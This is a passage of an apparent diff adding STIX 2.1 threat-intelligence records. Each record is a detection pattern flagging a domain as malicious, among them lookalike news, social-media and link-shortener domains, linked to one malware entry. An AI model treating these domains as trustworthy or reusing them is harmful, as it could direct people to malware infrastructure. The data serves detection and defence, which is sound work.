"2023-07-28T12:14:36.247776Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a46d6400-9143-40f9-b2fc-df6aada977b5", + "created": "2023-07-28T12:14:36.247997Z", + "modified": "2023-07-28T12:14:36.247997Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc6ad9ff-a03e-49be-9e82-5a1199b2d894", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ec681d1-92ff-4349-958c-e660ed006687", + "created": "2023-07-28T12:14:36.248067Z", + "modified": "2023-07-28T12:14:36.248067Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='telenorconn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.248067Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c13d79e-50a6-4b7c-aa21-f4db27eb24e6", + "created": "2023-07-28T12:14:36.248288Z", + "modified": "2023-07-28T12:14:36.248288Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ec681d1-92ff-4349-958c-e660ed006687", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0445ff91-1f2b-4a23-8848-f28c989a45f5", + "created": "2023-07-28T12:14:36.248359Z", + "modified": "2023-07-28T12:14:36.248359Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortely.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.248359Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9302002-a6b7-4b72-bb2b-99b739d544d6", + "created": "2023-07-28T12:14:36.248578Z", + "modified": "2023-07-28T12:14:36.248578Z", + "relationship_type": "indicates", + "source_ref": "indicator--0445ff91-1f2b-4a23-8848-f28c989a45f5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c45dce4-614b-4a7b-a9ad-c8e314e403b7", + "created": "2023-07-28T12:14:36.248649Z", + "modified": "2023-07-28T12:14:36.248649Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudstatistics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.248649Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5998f540-724f-4838-bee4-ce7b1c934e70", + "created": "2023-07-28T12:14:36.248875Z", + "modified": "2023-07-28T12:14:36.248875Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c45dce4-614b-4a7b-a9ad-c8e314e403b7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e643d827-7970-45df-b56b-d13e7460259e", + "created": "2023-07-28T12:14:36.248949Z", + "modified": "2023-07-28T12:14:36.248949Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linktothisa.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.248949Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e08373c2-9a79-43c7-bb5b-9bd213e084e0", + "created": "2023-07-28T12:14:36.24917Z", + "modified": "2023-07-28T12:14:36.24917Z", + "relationship_type": "indicates", + "source_ref": "indicator--e643d827-7970-45df-b56b-d13e7460259e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df56811e-5c1a-4697-a49c-9756a2a711bd", + "created": "2023-07-28T12:14:36.249241Z", + "modified": "2023-07-28T12:14:36.249241Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qwxzyl.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.249241Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb7d08a5-e406-4410-b01f-bd9b20a790ba", + "created": "2023-07-28T12:14:36.249506Z", + "modified": "2023-07-28T12:14:36.249506Z", + "relationship_type": "indicates", + "source_ref": "indicator--df56811e-5c1a-4697-a49c-9756a2a711bd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--818ee841-4df8-4f45-a28c-d073ef6d2558", + "created": "2023-07-28T12:14:36.249578Z", + "modified": "2023-07-28T12:14:36.249578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ps2link.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.249578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b92dcaf9-2d99-48e7-951b-a3a133f06915", + "created": "2023-07-28T12:14:36.249802Z", + "modified": "2023-07-28T12:14:36.249802Z", + "relationship_type": "indicates", + "source_ref": "indicator--818ee841-4df8-4f45-a28c-d073ef6d2558", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--68fb458d-7ea0-4956-9f5d-fec1608633c4", + "created": "2023-07-28T12:14:36.249878Z", + "modified": "2023-07-28T12:14:36.249878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canyouc.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.249878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4ee5b3c-d8d6-47fd-b15e-60a42ed9a9f6", + "created": "2023-07-28T12:14:36.250101Z", + "modified": "2023-07-28T12:14:36.250101Z", + "relationship_type": "indicates", + "source_ref": "indicator--68fb458d-7ea0-4956-9f5d-fec1608633c4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7674ebe9-cc67-479e-92b0-7c2b43db288a", + "created": "2023-07-28T12:14:36.250174Z", + "modified": "2023-07-28T12:14:36.250174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tvxs.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.250174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff4bf7f3-5d45-45a4-85b8-aa64a5a85ca1", + "created": "2023-07-28T12:14:36.250465Z", + "modified": "2023-07-28T12:14:36.250465Z", + "relationship_type": "indicates", + "source_ref": "indicator--7674ebe9-cc67-479e-92b0-7c2b43db288a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d860628a-a799-44db-8032-d5580036bcb8", + "created": "2023-07-28T12:14:36.250542Z", + "modified": "2023-07-28T12:14:36.250542Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updatetime.zone']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.250542Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9c5c823-f071-4ca0-8068-65105bb17168", + "created": "2023-07-28T12:14:36.250765Z", + "modified": "2023-07-28T12:14:36.250765Z", + "relationship_type": "indicates", + "source_ref": "indicator--d860628a-a799-44db-8032-d5580036bcb8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b8add23-9bb6-4ce9-a0cc-3fa97a537e73", + "created": "2023-07-28T12:14:36.250836Z", + "modified": "2023-07-28T12:14:36.250836Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='miniiosapps.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.250836Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef132a2b-2ed7-4890-aa88-b91459623fff", + "created": "2023-07-28T12:14:36.251059Z", + "modified": "2023-07-28T12:14:36.251059Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b8add23-9bb6-4ce9-a0cc-3fa97a537e73", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b46a2265-33d8-45e5-a85d-a2ed3127b27d", + "created": "2023-07-28T12:14:36.25113Z", + "modified": "2023-07-28T12:14:36.25113Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liponals.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.25113Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1cf07788-dd5c-42bb-bf98-cc62167eaef9", + "created": "2023-07-28T12:14:36.25135Z", + "modified": "2023-07-28T12:14:36.25135Z", + "relationship_type": "indicates", + "source_ref": "indicator--b46a2265-33d8-45e5-a85d-a2ed3127b27d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f62bc993-acf1-4457-a6fe-8eb8703edecf", + "created": "2023-07-28T12:14:36.251421Z", + "modified": "2023-07-28T12:14:36.251421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitt.fi']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.251421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cc4f5ec-6a89-4f46-8fd4-cbec47d11e00", + "created": "2023-07-28T12:14:36.251638Z", + "modified": "2023-07-28T12:14:36.251638Z", + "relationship_type": "indicates", + "source_ref": "indicator--f62bc993-acf1-4457-a6fe-8eb8703edecf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5bc53ef-4c7a-411d-923f-09a10821e2be", + "created": "2023-07-28T12:14:36.25171Z", + "modified": "2023-07-28T12:14:36.25171Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koenigseggg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.25171Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9ec1f37-fbed-4fdc-b7e6-81d8c431bac6", + "created": "2023-07-28T12:14:36.251933Z", + "modified": "2023-07-28T12:14:36.251933Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5bc53ef-4c7a-411d-923f-09a10821e2be", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa6ad3b7-54c2-4f63-938b-e278493ccd9f", + "created": "2023-07-28T12:14:36.252005Z", + "modified": "2023-07-28T12:14:36.252005Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yo.utube.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.252005Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a39f5640-9868-48db-9179-6efc61ad96c3", + "created": "2023-07-28T12:14:36.252227Z", + "modified": "2023-07-28T12:14:36.252227Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa6ad3b7-54c2-4f63-938b-e278493ccd9f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b9c23bd-2d4b-43dd-83f8-a47939500a91", + "created": "2023-07-28T12:14:36.252303Z", + "modified": "2023-07-28T12:14:36.252303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtubewatch.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.252303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c62e4a06-3f9e-4347-9fe1-f788f0a4bfa3", + "created": "2023-07-28T12:14:36.252528Z", + "modified": "2023-07-28T12:14:36.252528Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b9c23bd-2d4b-43dd-83f8-a47939500a91", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5e801174-4ee7-4f4a-b22e-e8311cb134bd", + "created": "2023-07-28T12:14:36.2526Z", + "modified": "2023-07-28T12:14:36.2526Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fimes.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.2526Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1eb9400-ad3b-412d-963b-64ca6cb1dc3b", + "created": "2023-07-28T12:14:36.25282Z", + "modified": "2023-07-28T12:14:36.25282Z", + "relationship_type": "indicates", + "source_ref": "indicator--5e801174-4ee7-4f4a-b22e-e8311cb134bd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--220e651d-72a3-4d3f-bae6-c2b3390c7343", + "created": "2023-07-28T12:14:36.252891Z", + "modified": "2023-07-28T12:14:36.252891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-ly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.252891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d60e165b-1037-479b-b414-fec951bb2617", + "created": "2023-07-28T12:14:36.253333Z", + "modified": "2023-07-28T12:14:36.253333Z", + "relationship_type": "indicates", + "source_ref": "indicator--220e651d-72a3-4d3f-bae6-c2b3390c7343", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bc9732b-82b3-4472-9fee-a4f22f207007", + "created": "2023-07-28T12:14:36.253407Z", + "modified": "2023-07-28T12:14:36.253407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='we-site.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.253407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--825839c9-1273-4c28-bad9-a555340d8a5c", + "created": "2023-07-28T12:14:36.253629Z", + "modified": "2023-07-28T12:14:36.253629Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bc9732b-82b3-4472-9fee-a4f22f207007", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7786bb47-08ac-4453-98a3-1e9e7ecdcfba", + "created": "2023-07-28T12:14:36.253702Z", + "modified": "2023-07-28T12:14:36.253702Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bbcsworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.253702Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e5a5589-c3be-4431-807a-c347252952f8", + "created": "2023-07-28T12:14:36.253923Z", + "modified": "2023-07-28T12:14:36.253923Z", + "relationship_type": "indicates", + "source_ref": "indicator--7786bb47-08ac-4453-98a3-1e9e7ecdcfba", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5b79774-ccdb-400f-9486-f854083aaef9", + "created": "2023-07-28T12:14:36.253994Z", + "modified": "2023-07-28T12:14:36.253994Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='novosti.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.253994Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69d7d2d8-0c62-439b-aee4-92c77c41d2ea", + "created": "2023-07-28T12:14:36.254211Z", + "modified": "2023-07-28T12:14:36.254211Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5b79774-ccdb-400f-9486-f854083aaef9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2432840d-8827-4907-a543-cd43964f94a8", + "created": "2023-07-28T12:14:36.254281Z", + "modified": "2023-07-28T12:14:36.254281Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safelyredirecting.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.254281Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7c3a25b-c1e1-4dc9-8454-3a364d5e7dc8", + "created": "2023-07-28T12:14:36.254506Z", + "modified": "2023-07-28T12:14:36.254506Z", + "relationship_type": "indicates", + "source_ref": "indicator--2432840d-8827-4907-a543-cd43964f94a8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5c0d5d1-8c96-447d-8443-70b4ae989012", + "created": "2023-07-28T12:14:36.254578Z", + "modified": "2023-07-28T12:14:36.254578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc2222.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.254578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8cf130be-3d5a-45ca-9d72-42a065315370", + "created": "2023-07-28T12:14:36.254796Z", + "modified": "2023-07-28T12:14:36.254796Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5c0d5d1-8c96-447d-8443-70b4ae989012", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21eb7d21-6009-4b12-8472-15418739218d", + "created": "2023-07-28T12:14:36.254869Z", + "modified": "2023-07-28T12:14:36.254869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cyber.country']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.254869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ec966ce-e534-4f47-9c01-818a745fcbf7", + "created": "2023-07-28T12:14:36.255093Z", + "modified": "2023-07-28T12:14:36.255093Z", + "relationship_type": "indicates", + "source_ref": "indicator--21eb7d21-6009-4b12-8472-15418739218d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11b9da91-e1b9-4883-a712-dc495fef9ff9", + "created": "2023-07-28T12:14:36.255164Z", + "modified": "2023-07-28T12:14:36.255164Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ilnk.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.255164Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1030952d-ab58-46f4-8a0d-95e83daa9022", + "created": "2023-07-28T12:14:36.255381Z", + "modified": "2023-07-28T12:14:36.255381Z", + "relationship_type": "indicates", + "source_ref": "indicator--11b9da91-e1b9-4883-a712-dc495fef9ff9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f536b0c5-6cd6-4e83-9f37-af257d9cde37", + "created": "2023-07-28T12:14:36.255452Z", + "modified": "2023-07-28T12:14:36.255452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crashonline.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.255452Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eef25750-9676-43de-bf7f-be3dacb4f5c6", + "created": "2023-07-28T12:14:36.255736Z", + "modified": "2023-07-28T12:14:36.255736Z", + "relationship_type": "indicates", + "source_ref": "indicator--f536b0c5-6cd6-4e83-9f37-af257d9cde37", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--153e2aeb-39a6-4507-b9b6-ae47a15414e9", + "created": "2023-07-28T12:14:36.255813Z", + "modified": "2023-07-28T12:14:36.255813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='5m5.io']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.255813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bdcce58b-971a-4282-b8a6-c2b892fb0eef", + "created": "2023-07-28T12:14:36.256089Z", + "modified": "2023-07-28T12:14:36.256089Z", + "relationship_type": "indicates", + "source_ref": "indicator--153e2aeb-39a6-4507-b9b6-ae47a15414e9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6eaa9d77-992f-49ff-8737-d38f423fda6c", + "created": "2023-07-28T12:14:36.256161Z", + "modified": "2023-07-28T12:14:36.256161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='advfb.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.256161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--690f83cc-d637-4252-9217-f2cb86d57ad0", + "created": "2023-07-28T12:14:36.256444Z", + "modified": "2023-07-28T12:14:36.256444Z", + "relationship_type": "indicates", + "source_ref": "indicator--6eaa9d77-992f-49ff-8737-d38f423fda6c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecb94be3-dfc0-40b9-803c-ede6d572949b", + "created": "2023-07-28T12:14:36.256517Z", + "modified": "2023-07-28T12:14:36.256517Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cellconn.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.256517Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7773dad1-4759-4184-9383-03a9f8ec7934", + "created": "2023-07-28T12:14:36.25674Z", + "modified": "2023-07-28T12:14:36.25674Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecb94be3-dfc0-40b9-803c-ede6d572949b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8960c58-b0df-4737-91e7-333dfa2cb261", + "created": "2023-07-28T12:14:36.256813Z", + "modified": "2023-07-28T12:14:36.256813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cbbc01.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.256813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--482e19f8-46ca-4467-9ad6-afeba56c5d03", + "created": "2023-07-28T12:14:36.257059Z", + "modified": "2023-07-28T12:14:36.257059Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8960c58-b0df-4737-91e7-333dfa2cb261", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c2038ec-2f6d-4961-8a05-b87794b0ce6f", + "created": "2023-07-28T12:14:36.257136Z", + "modified": "2023-07-28T12:14:36.257136Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='citroen.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.257136Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9be81c54-8872-4120-a810-4223cf7363b8", + "created": "2023-07-28T12:14:36.257357Z", + "modified": "2023-07-28T12:14:36.257357Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c2038ec-2f6d-4961-8a05-b87794b0ce6f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62eb1fa2-88c0-431f-bb64-caf7779abc83", + "created": "2023-07-28T12:14:36.257429Z", + "modified": "2023-07-28T12:14:36.257429Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedy.sbs']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.257429Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d525e087-9e72-4f43-aef5-e48255c5f770", + "created": "2023-07-28T12:14:36.257656Z", + "modified": "2023-07-28T12:14:36.257656Z", + "relationship_type": "indicates", + "source_ref": "indicator--62eb1fa2-88c0-431f-bb64-caf7779abc83", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a602a3c0-5efa-4758-be0f-43a56c0bacf4", + "created": "2023-07-28T12:14:36.257728Z", + "modified": "2023-07-28T12:14:36.257728Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forwardeshoptt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.257728Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a88659a1-e894-44ec-915c-50e02400ddee", + "created": "2023-07-28T12:14:36.257954Z", + "modified": "2023-07-28T12:14:36.257954Z", + "relationship_type": "indicates", + "source_ref": "indicator--a602a3c0-5efa-4758-be0f-43a56c0bacf4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8f3b50a-94e4-47f0-868f-95b425cd8dc2", + "created": "2023-07-28T12:14:36.258026Z", + "modified": "2023-07-28T12:14:36.258026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickupdates.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.258026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a19651a9-1973-4582-bb20-816976764735", + "created": "2023-07-28T12:14:36.258249Z", + "modified": "2023-07-28T12:14:36.258249Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8f3b50a-94e4-47f0-868f-95b425cd8dc2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75b29fc5-e9f0-40b1-9ff0-42340efcdcf4", + "created": "2023-07-28T12:14:36.258321Z", + "modified": "2023-07-28T12:14:36.258321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='protothema.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.258321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e645ec33-1366-4d55-86d8-a65cf4ea71b8", + "created": "2023-07-28T12:14:36.258553Z", + "modified": "2023-07-28T12:14:36.258553Z", + "relationship_type": "indicates", + "source_ref": "indicator--75b29fc5-e9f0-40b1-9ff0-42340efcdcf4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa7d837d-1be7-4f6a-80e5-26033eb4c7d4", + "created": "2023-07-28T12:14:36.258625Z", + "modified": "2023-07-28T12:14:36.258625Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inservices.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.258625Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--533e54b9-6647-4d0d-9853-c59109ff7f81", + "created": "2023-07-28T12:14:36.258849Z", + "modified": "2023-07-28T12:14:36.258849Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa7d837d-1be7-4f6a-80e5-26033eb4c7d4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d62a9078-4a14-48ce-a4eb-ad493568a0b8", + "created": "2023-07-28T12:14:36.25892Z", + "modified": "2023-07-28T12:14:36.25892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twtter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.25892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2750e0a1-4857-436e-9e27-c1a6a65e6f29", + "created": "2023-07-28T12:14:36.259214Z", + "modified": "2023-07-28T12:14:36.259214Z", + "relationship_type": "indicates", + "source_ref": "indicator--d62a9078-4a14-48ce-a4eb-ad493568a0b8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81b98c65-1fc0-45ad-ab43-0841c803ca65", + "created": "2023-07-28T12:14:36.259287Z", + "modified": "2023-07-28T12:14:36.259287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": 